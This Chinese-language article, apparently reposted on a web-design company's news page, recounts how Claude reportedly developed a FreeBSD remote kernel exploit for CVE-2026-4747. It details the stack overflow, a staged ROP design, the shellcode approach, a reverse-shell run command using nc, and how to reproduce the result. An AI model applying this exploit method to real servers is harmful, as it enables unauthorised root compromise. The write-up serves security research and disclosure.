资讯动态

Publications from Calif 案例:8小时 Claude 如何写出 FreeBSD 远程内核 RCE 到 Root Shell(CVE-2026-4747)

发布时间:2026/8/25 17:37:08 来源:尧图企业网站定制
Publications from Calif 案例8小时 Claude 如何写出 FreeBSD 远程内核 RCE 到 Root ShellCVE-2026-4747【免费下载链接】publicationsPublications from Calif项目地址: https://gitcode.com/gh_mirrors/publications44/publicationsPublications from Calif 是一个安全研究案例库其中最重磅的案例之一就是这个AI 模型 Claude 用约 8 小时独立完成了 FreeBSD 远程内核 RCECVE-2026-4747的完整利用开发最终拿到 uid 0 的 root shell。据作者所知这是首个由 AI 同时完成发现 利用的远程内核漏洞。本文带你快速看懂这个 FreeBSD 内核 RCE 的原理、15 轮 ROP 攻击设计、以及如何复现它。⏱️ 事件时间线从漏洞通告到 Root Shell 只用半天时间事件2026-03-26FreeBSD 发布安全通告远程内核代码执行漏洞 CVE-2026-4747 曝光2026-03-29 9:45 AMPDT作者向 Claude 提出开发漏洞利用的需求2026-03-29 5:00 PMPDTClaude 交付可运行的 exploit反向连接拿到 root shell整个过程中人类大部分时间处于 AFK 状态Claude 的实际工作时间只有约 4 小时。更惊人的是Claude 一次性写出了两种不同策略的 exploit且都是第一次就跑通。同系列MADBugsAI 编写的 FreeBSD 内核利用演示。 CVE-2026-4747 是什么3 分钟看懂 FreeBSD 栈溢出一句话概括FreeBSD 的kgssapi.ko内核模块为 NFS 提供 RPCSEC_GSS 认证在验证 RPC 头部时把攻击者可控的凭证数据memcpy进一个 128 字节的栈缓冲区却不检查长度。关键数字拆解缓冲区先被写入 32 字节的固定 RPC 头部 → 只剩96 字节可用空间XDR 层允许凭证最大400 字节→ 最多可溢出304 字节溢出发生在内核态ring 0的 NFS 工作线程上 → 控制 RIP 完整内核代码执行触发条件不低但也不算苛刻攻击者需要持有 NFS 服务主体的任意有效 Kerberos 票据普通用户即可。这意味着企业环境中只要域里有合法票据就能打。项目值受影响版本FreeBSD 13.5 (p11)、14.3 (p10)、14.4 (p1)、15.0 (p5)攻击面加载了kgssapi.ko的 NFS 服务器2049/TCP官方修复14.4-RELEASE-p1仅加了一次长度边界检查️ 如何搭建 FreeBSD 漏洞靶机实验室准备要点Claude 做的第一件事不是写 exploit而是搭环境。新手复现时最容易踩的坑都在这一步FreeBSD 14.4-RELEASE 虚拟机必须 2 CPU—— 因为 FreeBSD 每个 CPU 只派生 8 个 NFS 线程而攻击需要 15 轮、每轮消耗一个线程。1 个 CPU 的机器会在第 9 轮左右失败加载kgssapi.ko并启动 NFS 服务漏洞代码路径只存在于 RPCSEC_GSS 认证流程中VM 内部署 MIT Kerberos KDC创建nfs/testTEST.LOCAL服务主体并导出 keytab攻击机 Kerberos 配置必须设rdns false和dns_canonicalize_hostname false否则票据主体会因反向 DNS 解析变成nfs/localhost...被服务器直接拒绝QEMU 用-nographic启动并把内核日志重定向到文件——Claude 正是靠读崩溃日志完成了后面的偏移调试 15 轮 ROP 攻击400 字节塞不下时的分阶段投递这是整个 exploit 最精彩的设计。核心矛盾凭证上限 400 字节减去 GSS 头部、填充和保存寄存器后每轮只剩约 200 字节放 ROP 链而目标 shellcode 有432 字节——一个包根本装不下。Claude 的解法是把 exploit 变成一个分阶段写入循环第 1 轮用 ROP 调用pmap_change_prot()把内核 BSS 段改成 RWX可写可执行第 2–14 轮每轮用pop rdi / pop rax / mov [rdi], rax原语写入32 字节shellcode第 15 轮写入最后 16 字节然后把返回地址直接指向 shellcode 入口预算卡得很紧每次 8 字节写入消耗 40 字节 ROP 链4 次写入 24 字节退出代码 184 字节 200 字节预算。每轮末尾都调用kthread_exit()干净地结束被劫持的 NFS 线程——服务器不 panic继续服务下一轮请求。整个攻击约 45 秒完成。 从内核到用户态Root Shell 是怎么跳出来的shellcode 跑在被劫持的 NFS 线程上——这是个纯内核线程没有用户态地址空间不能直接execve()。Claude 用两阶段设计解决入口阶段调用kproc_create()创建一个全新进程自带 vmspace 和 trapframe然后kthread_exit()退出 NFS 线程工作进程阶段在新进程中调用kern_execve(/bin/sh, -c, 反弹shell命令)清掉P_KPROC标志位让进程走正常的userret()→iretq路径切到 ring 3最终/bin/sh以uid 0在用户态运行通过mkfifo nc建立反弹 shell。实际运行效果python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444 ... # id uid0(root) gid0(wheel) groups0(wheel) 两个让 Claude 卡住的坑AI 调试能力实测这个案例最有价值的部分是展示了 AI 遇到意外时的真实调试过程坑 1偏移量算错了 32 字节。静态反汇编分析认为 RIP 位于凭证第 168 字节实际崩溃位置对不上。Claude 发送了De Bruijn 循环模式作为凭证从 QEMU 崩溃日志里读出故障指令指针反查模式得到真实偏移——第 200 字节。差异来自静态分析没计入的 32 字节 GSS 头部。坑 2硬件断点幽灵。子进程总是在一条完全合法的指令上抛 trap 1调试异常。Claude 追踪到原因之前调试引发的内核 panic 进入过 DDB内核调试器遗留的硬件断点通过fork1()复制 PCB 传给了子进程。修复只需两行 shellcodexor eax, eax; mov dr7, rax。 一键复现案例资料与文件路径本案例的全部材料都在MADBugs/CVE-2026-4747/目录下AI 生成、人工验证文件内容exploit.py完整 exploit约 600 行含 ROP 链、shellcode 生成器与 15 轮驱动write-up.md完整技术解析漏洞细节、ROP gadget 表、shellcode 逐段注释、靶机搭建指南blog.md人类撰写的案例博客含完整运行输出claude-prompts.txt人类输入的 44 条原始 prompt 日志含拼写错误原汁原味复现只需要一台 Linux 攻击机python3-gssapi MIT Kerberos 客户端、一台按 write-up.md 配置的 FreeBSD 14.4-RELEASE 靶机QEMU 或 VMware 均可记得2 CPU然后执行上面那条命令。 系列延伸AI 还在 FreeBSD 内核里挖到了什么CVE-2026-4747 只是 MADBugs 系列的一个开头。后续的 FreeBSD AI 审计 又向 FreeBSD 团队报告了15 个内核漏洞包括 3 个 RCE、5 个本地提权和 1 个 bhyve 逃逸其中三个 LPE 的利用演示如下setcredCVE-2026-45250一个字符的sizeof混淆导致栈溢出本地 root 提权ptraceCVE-2026-45253重定向系统调用号缺少边界检查越界索引 sysent 表procdescCVE-2026-45251procdesc_free()未排空 poll 等待者结合SCM_RIGHTS重利用获得任意内核指针写整个系列的案例索引见 MADBugs 目录涵盖 nginx、QEMU、PHP、Squid 等十几个目标。 结论只有人类能做的边界移动了Fuzzer 发现内核漏洞已经十多年了但漏洞利用开发——理解操作系统内部机制、构造 ROP 链、调试崩溃、出错时自我修正——长期被认为是人类专属的前沿。而在这个 FreeBSD 内核 RCE 案例中Claude 独立解决了 6 个不同层次的问题实验室搭建连 2 CPU 的硬件约束都想到了多包分阶段投递策略干净的线程退出避免系统 panic用 De Bruijn 模式修正偏移量内核态到用户态的进程转换硬件断点继承问题的根因定位每个新的 AI 能力通常都会遭遇AI 能做 Y但只有人类能做 X的质疑。就 X 漏洞利用开发而言这条线刚刚被移动了。【免费下载链接】publicationsPublications from Calif项目地址: https://gitcode.com/gh_mirrors/publications44/publications创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价